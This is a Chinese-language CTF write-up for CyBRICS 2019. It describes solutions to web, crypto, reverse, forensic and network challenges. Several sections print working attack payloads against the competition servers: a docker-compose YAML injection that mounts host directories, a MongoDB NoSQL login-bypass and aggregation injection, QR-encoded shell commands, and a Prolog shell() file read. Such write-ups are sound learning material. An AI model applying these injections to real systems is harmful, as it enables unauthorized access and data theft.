CyBRICS CTF 2019 WriteUp
前言
CyBRICS
是由金砖国家学术界跨大学组织的计算机安全竞赛(CTF)。
来自每个金砖国家的 前5名
学术团队将被邀请到 俄罗斯圣彼得堡
参加 现场总决赛
。
比赛入口地址:https://cybrics.net
比赛持续 24 小时,共 30 题。
我们一共解出 16 题,个人解出 15 题,队友协助解出 1 题。
总得分 762,总排名 33,中国区排名 8。
Mic Check (Cyber, Baby, 10 pts)
签到题,直接在 Rules and Details
里找到 flag
。
Flag:cybrics{W3lc0M3_t0_t3h_G4M#}
Bitkoff Bank (Web, Easy, 50 pts)
每次进行 usd/btc btc/usd
兑换都会增多,我觉得应该是处理 float
时没处理好,前端限制了精度,后端没限制。兑换 700
次左右就能买 flag
了。
脚本:
import requests
import random
import string
url = 'http://95.179.148.72:8083/index.php'
s = requests.session()
def randstr(length=8):
return ''.join(random.sample(string.ascii_letters + string.digits, length))
def get(s,url):
while True:
try:
r=s.get(url,timeout=3)
if r.status_code != 500:
return r
except:
pass
pass
def post(s,url,data):
while True:
try:
r=s.post(url,data=data,timeout=3)
if r.status_code != 500:
return r
except:
pass
pass
def reg_login(s,url,un,pw):
payload={'name':un,'password':pw}
r=post(s,url,payload)
return r.text
def change(s,url,fr,to,am):
payload={'from_currency':fr,'to_currency':to,'amount':am}
r=post(s,url,payload)
return r.text
un=randstr()
pw=randstr()
print un
print pw
reg_login(s,url,un,pw)
reg_login(s,url,un,pw)
change(s,url,'btc','usd','0.00003')
while True:
res=get(s,url)
usd=res.text.split(': <b>')[1].split('</b>')[0]
btc=res.text.split(': <b>')[2].split('</b>')[0]
print float(usd)
if float(usd)>=1.0: break
change(s,url,'usd','btc',usd)
res=get(s,url)
usd=res.text.split(': <b>')[1].split('</b>')[0]
btc=res.text.split(': <b>')[2].split('</b>')[0]
change(s,url,'btc','usd',btc)
Flag:cybrics{50_57R4n93_pR3c1510n}
Caesaref (Web, Hard, 50 pts)
队友做的,我没看。估计不算难?
Oldman Reverse (Reverse, Baby, 10 pts)
就一个汇编文件,看上去不难。逆之。
脚本:
a='cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}'
a=a*32
b=0
s=''
for i in range(len(a)/33+1):
s+=a[b]
b+=33
print s
Flag:cybrics{pdp_gpg_crc_dtd_bkb_php}
Tone (Forensic, Baby, 10 pts)
给了 youtube
的视频,音频是按键声(双音多频技术DTMF),google
在线下载 youtube
的 mp3
音频,然后频谱分析(还记得以前新闻报道周鸿祎电话号码被泄露,也是用这个方法)。
Flag:cybrics{cybricssecrettonalflag}
Dock Escape (CTB, Easy, 151 pts)
给了个 client.py
作为客户端。可以输入端口号,来启动实例(run instance
,也就是启动一个 docker
,然后映射内部服务端口到我们指定的外部端口上)。
所以我们可以用 client.py
客户端,连接这个ip和端口,进行文件上传和下载。然后30秒后,这个 docker
会自动销毁。分析 client.py
,猜测可以直接修改文件名为我们想读的路径,读取 docker
里面的文件,测试一下的确可以。
但是 flag
在母机 /home/flag
里,正常情况下,docker
无法读取母机的文件,因为用了 chroot
,但是 docker
可以 mount volumns
,挂载母机的目录到 docker
里,然后就能读取 flag
啦。
如何挂载?其实我们启动实例时输入端口号,随便输入aaaa,会报错,看到是将我们的输入直接拼接到 /tmp/xxxxxx/docker-compose.yml
文件里,然后启动 docker
的。
用过 docker
的都知道,这样就能改 yml
文件来挂载母机目录到 docker
里啦。但是要注意 yaml
语法规范,包括空格缩进要一致,跟 python
格式类似。
Payload:
9878:12345\n volumes:\n - /home:/mnt #
连接脚本:
from pwn import *
io=remote('95.179.188.234',9878)
io.send('R')
path='/mnt/flag'
io.send(p32(len(path)))
io.send(path)
io.interactive()
Flag:cybrics{0dbceabb65128d70f92b70f9d63f277ceac7515c501ece4916d0f3aa65457872}
NopeSQL (Web, Medium, 156 pts)
看题目,nosql
注入,师傅题型 git
泄露,看源代码,json_decode
,可以将 json
字符串转为数组,然后给到 mongodb client
处理,没有过滤输入,直接拼接,存在注入。
不妨看看官方文档:数据聚合
用户名:随便
密码:","password":{"$ne": null},"username":"admin
这样你会发现拼接完,整个 json
字符串,username
,password
好像重复了,其实 decode
时变量只会是最后一次的赋值,没关系。我为什么要重复,只是为了最后面的双引号闭合,而不会引入多余的查询字段。当然,这里还要其它方法,可以继续探寻。
登录进去,就到 project/group
之类的,不懂什么意思。查文档。
不妨看看官方文档:聚合管道
差不多试了2个小时,得到最后能用的 payload
。
Payload:
/index.php?filter[$cond][if][$eq][][$strLenBytes]=$title&filter[$cond][if][$eq][][$toInt]=19&filter[$cond][then]=$text&filter[$cond][else]=12
Flag:cybrics{7|-|15 15 4 7E><7 |=|_49}
Honey, Help! (rebyC, Baby, 10 pts)
应该是用 echo
颜色输出导致的乱码,有部分 ascii
被转换为 utf8
对应的字符。逐字节找,utf8
对应 ascii
的关系,就能恢复乱码的内容。
其中有一个字节,有几种可能性,都试一下就好了。
Flag:cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}
Sender (Network, Baby, 10 pts)
原始邮件那种格式,英文缩写叫什么我忘记了。有 base64
编码的用户名和密码,直接用 outlook
登录 smtp
邮件服务器,就能拿到压缩包和密码,解压压缩包,拿到 flag
。
Flag:cybrics{Y0uV3_G0T_m41L}
Paranoid (Network, Easy, 50 pts)
题目描述的场景是,出题人邻居家新买回来了一个路由器,并且设置了密码。然后出题人提供了 pcap
抓包文件,是他抓取回来的流量。
可以看到流量里有 http
明文,是邻居登录到路由器,修改管理密码和 wifi
密码。然后我们能看到密码是 wep
的,然后改完密码那一刻起,后面的数据包都用这个密码加密了。
所以直接用 airdecap-ng
可以解密流量,然后看解密完的流量,邻居又改密码了,这次是改成 wpa
,同样可以看到 http
明文里有明文密码。
同样,再用 airdecap-ng
解密一次,再看解密流量,邻居又又又改管理密码,这次改的管理密码就是 flag
。
Flag:cybrics{n0_w4Y_7o_h1d3_fR0m_Y0_n316hb0R}
Fast Crypto (Cyber, Medium, 79 pts)
一个加密算法,不会算鸭。看了一下,20
位,有些还用不了,初始计算大概 31337
次,爆破 1
位,几秒钟。算一下时间复杂度,还行。24
线程 popen
开进程爆破,2-3
小时出结果了。
脚本 a.py
:
import json
import sys
from egcd import egcd
def get_next(a, power, N):
b = pow(a,power,N)
return b, b % 256
key = json.loads(open('public.key').read())
seed = int(sys.argv[1])
def check(seed):
match = False
match_seed = 0
match_power = 0
for power in range(2,17):
if egcd(power, key['N'])[0] != 1:
continue
tmp_seed = seed
for _ in range(key['O']):
tmp_seed = get_next(tmp_seed, power, key['N'])[0]
enc = '\x46\x83\x49\x44'
dec = 'RIFF'
tmp_match = True
for i in range(4):
tmp_seed, bt = get_next(tmp_seed, power, key['N'])
if ord(enc[i]) ^ bt != ord(dec[i]):
tmp_match = False
break
if not tmp_match: continue
match = True
match_seed = seed
match_power = power
break
if match:
return 'True\nseed: %d\npower: %d\n' % (match_seed, match_power)
else:
return 'False\nseed: %d\n' % (seed)
print(check(seed))
脚本 b.py
:
import threading
from multiprocessing.dummy import Pool as ThreadPool
from pwn import *
can_exit = False
def brute(i):
global can_exit
if can_exit: return
print i
context.log_level='CRITICAL'
io=process(argv=['python', 'a.py', str(i)])
if 'True' in io.recvline():
res = io.recvline()
res += io.recvline()
can_exit = True
open('res.txt','w').write(res)
print res
io.close()
pool = ThreadPool(18)
pool.map(brute, range(0,65537))
跑脚本 b.py
,出结果,在 res.txt
文件里,有 seed=4485,power=7
。
可以解密 wav
文件,拿到 wav
文件,就是女声念 flag
,练英语听力的时候到了!
Flag:cybrics{blum_blum_crypto}
Warmup (Web, Baby, 10 pts)
网页自动跳转 /final.html
,所以首页肯定有东西。
curl http://45.32.148.106/ | grep flag
得到
Here is your base64-encoded flag: Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=
base64
解码拿到 flag
。
Flag:cybrics{4b646c7985fec6189dadf8822955b034}
QShell (Cyber, Easy, 50 pts)
nc
连上去,用 ascii
打印了一个二维码,扫码内容是 sh-5.0$
,然后输出了一个点号。一开始不知道什么意思,然后随便输入,发现会返回两种结果。
随便输入一些内容,再输入点号:list index out of range
直接输入点号:tile cannot extend outside image
网上查了一下,看来点号是结束的意思,然后我们点号前的输入,交由后端 pillow
库处理。
后来再试着,将二维码往回发,然后点号结束,竟然没报错了。然后猜测,后端将 ascii
转成图片,然后识别二维码,然后结合 sh-5.0$
提示,应该是任意命令执行。
所以我们生成一个 ascii
二维码,然后二维码内容是命令,比如 ls /
,将二维码往回发,然后服务端就返回了一个新的二维码,二维码内容就是命令执行的回显结果。
写了个脚本 getflag
:
#coding=utf-8
import qrcode
qr = qrcode.QRCode(
version=None,
error_correction=qrcode.constants.ERROR_CORRECT_M,
box_size=1,
border=4
)
qr.add_data("cat /home/test/flag.txt")
qr.make(fit=True)
s=''
length=len(qr.modules[0])
for i in qr.modules:
s+='█'*6
for j in i:
if not j:
s+='█'
else:
s+=' '
s+='█'*6
s+='\n'
length+=12
padding='█'*length+'\n'
s=padding*6+s+padding*6
print s
from pwn import *
io=remote('spbctf.ppctf.net',37338)
io.recvuntil('.\n')
io.send(s)
io.sendline('.')
io.interactive()
Flag:cybrics{QR_IS_MY_LOVE}
Matreshka (Reverse, Easy, 50 pts)
拿到一个 class
,用 luyten
看代码,涉及 DES
加解密,可以改代码,直接解密 data.bin
,得到一个 elf(stage2.bin)
。
用 ida
,看到 main_main
,想到应该是用 golang
写的,然后可以用 IDAGolangHelper
识别出go的字符串。这里 F5
出来的结果不正确,只能作为参考,最好直接看汇编,结合动调。
它是取当前 stage2.bin
所在文件夹的名称,用内置密钥做 rc4加密
,然后与内置密文比较,而且长度要等于 0x11
,所以可以直接逆出文件夹名称为 kroshka_matreshka
,直接创建一个文件夹,然后将 stage2.bin
放进去运行,就能直接得到 result.pyc
,然后用 uncompyle6
反编译 pyc
,是一个循环异或加密算法,key
长度为 8
,可以根据 flag
固定头 cybrics{
,逆出 key:Kr0H4137
,然后解密得到 flag
。
整道题不难,都是一些简单算法,没有混淆、加垃圾指令之类,只不过涉及3种语言(java,go,python)的逆向,考查综合语言逆向能力为主,有一点点绕。
Flag:cybrics{M4TR35HK4_15_B35T}
Disk Data (Forensic, Easy, 56 pts)
直接上取证大师,商业软件真香!
看 .bash_history
,曾经处理 Downloads
里一张图片 kTd0T9g.png
,左上角用 convert
命令被盖上白色矩形填充,估计 flag
就写在那里。
然后原始数据搜索整个镜像里的关键词 kTd0T9g
,还有签名恢复所有 png
图片。可以看到恢复出来一张原图的缩略图,左上角的确是 flag
,但是缩略图根本看不清。然后关键词搜索,有几十条记录,慢慢翻,能找到未分配簇空间里有:
https://i.imgur.com/kTd0T9g.png
这就是原图了。
Flag:cybrics{A11W4Y5_D1G_D33P3R}
ProCTF (CTB, Baby, 10 pts)
给了 ssh
,连上去,随便输入,都好像没回显。然后无意中按下 Ctrl+C
,有一些字符串出来了。然后 google
搜索一下,好像是一个叫做 SWI-Prolog
语言的交互式窗口,查一下有关这种语言的使用。可以直接执行任意命令然后回显。
Payload:
shell('cat /home/user/flag.txt').
Flag:cybrics{feeling_like_a_PRO?_that_sounds_LOGical_to_me!____g3t_it?_G37_1T?!?!_ok_N3v3Rm1nd...}
以下为思路:
RT!吧唧吧唧~
Big RAM (rebyC, Easy, 117 pts)
像是一个字符替换,没仔细看。
Zakukozh (Cyber, Baby, 10 pts)
改过的仿射密码,也没细致研究。
Telegram (rebyC, Medium, 110 pts)
一个 tg bot
,发送文字过去,它会返回一段 video note
小视频,和题目一样,强调 face to face
,所以我也给它发一段 video note
(不是 video
,不是 file
,一定要是 video note
),但是它大概意思说这段视频里没有隐藏内容。而且发给它的 video note
不能超过 150kb
。
因为 tg app
上不好操作,所以直接在 python
调用 tg
的 api
,给 bot
发 video note
,然后想到 ffmpeg avi任意文件读取
,构造 avi
给 bot
,但是 avi
好像不能作为 video note
,只能作为 video
发。所以将 avi
改成 mp4
发过去,但是 bot
告诉我们 convert转码失败
。
然后就卡在这里了。
Game (Reverse, Medium, 287 pts)
一个带客户端的小游戏,有点像 头号玩家
里面提到的 魔幻历险Adventure
小游戏(在 雅达利2600
上发行),需要过 level 5
才能拿到 flag
。我好像自己玩只能到 level 3
。
标识:P
是我们玩家,#
是敌人(随机移动,碰到就死),*
是子弹,X
是墙,每个房间最多有四扇门,可以进入不同房间。需要找到 F
进入下一关。
玩法:wsad
移动,f
发射子弹,c
进入近身攻击无敌状态。
逆向客户端,能分析出通讯协议。然后自己写了个客户端模拟收发通讯协议数据。
自写客户端脚本:
from pwn import *
io=remote('95.179.148.72', 10001)
logging=0
def read(data):
return u32(data[:4]),data[4:]
def frame():
length1=u32(io.recv(4))
data1=io.recv(length1)
data3=data1
length2=u32(io.recv(4))
data2=io.recv(length2)
res=[]
if logging: print 'border:'
width,data1=read(data1)
height,data1=read(data1)
res.append([width,height])
if logging: print width,height
if logging: print 'doors:'
doors_cnt,data1=read(data1)
tmp=[]
for i in range(doors_cnt):
p1,data1=read(data1)
p2,data1=read(data1)
tmp.append([p1,p2])
if logging: print p1,p2
res.append(tmp)
if logging: print 'player:'
player1,data1=read(data1)
player2,data1=read(data1)
res.append([player1,player2])
if logging: print player1,player2
if logging: print 'enemies:'
enemies_cnt,data1=read(data1)
tmp=[]
for i in range(enemies_cnt):
p1,data1=read(data1)
p2,data1=read(data1)
tmp.append([p1,p2])
if logging: print p1,p2
res.append(tmp)
if logging: print 'exits:'
exits_cnt,data1=read(data1)
tmp=[]
for i in range(exits_cnt):
p1,data1=read(data1)
p2,data1=read(data1)
tmp.append([p1,p2])
if logging: print p1,p2
res.append(tmp)
if logging: print 'fireballs:'
fireballs_cnt,data1=read(data1)
tmp=[]
for i in range(fireballs_cnt):
p1,data1=read(data1)
p2,data1=read(data1)
tmp.append([p1,p2])
if logging: print p1,p2
res.append(tmp)
return res
res=frame()
for i in range(10):
io.send('d')
res=frame()
print res[2]
因为游戏服务器在荷兰,所以我这边国内网络连过去有延迟和丢包,加上拥塞控制算法,这边网络玩游戏大概3-4帧/秒,而且按键操作有1-2帧延迟,不利于判断敌人和我们的位置。
所以题目解法大概是,写个脚本模拟运动,加上算法控制敌人和我们的距离,加上规则去攻击防御,然后走动。
相当于写个机器人玩游戏,最后将脚本放到与荷兰ping值低,网络稳定的位置去跑,应该就能拿到flag。
当然,手工玩游戏应该也行,太硬核了!
Unknocking (Network, Hard, 500 pts)
涉及到 Knockd
,就是一个敲门开放 443
端口吧,不过是 ipv6
,需要用有 ipv6
的服务器跑这题。然后有个 server
文件,看了一下好像跟网络路由之类的相关?
Fake TCP (Network, Medium, 277 pts)
题目提示,是个变种 tcp
协议,sport, dport, ack, seq
之类的头,字节上顺序有问题。
看了一下抓包,tcp
响应包 ack
和 seq
反了,而且设置了 RST
标志,正常情况是没办法握手的。
所以应该用 c语言
底层实现对应变种 tcp
协议,然后同时无视 RST
标志位建立连接?这样可行吗?
其它题呢?
没时间看了叭!吧唧吧唧~
Comments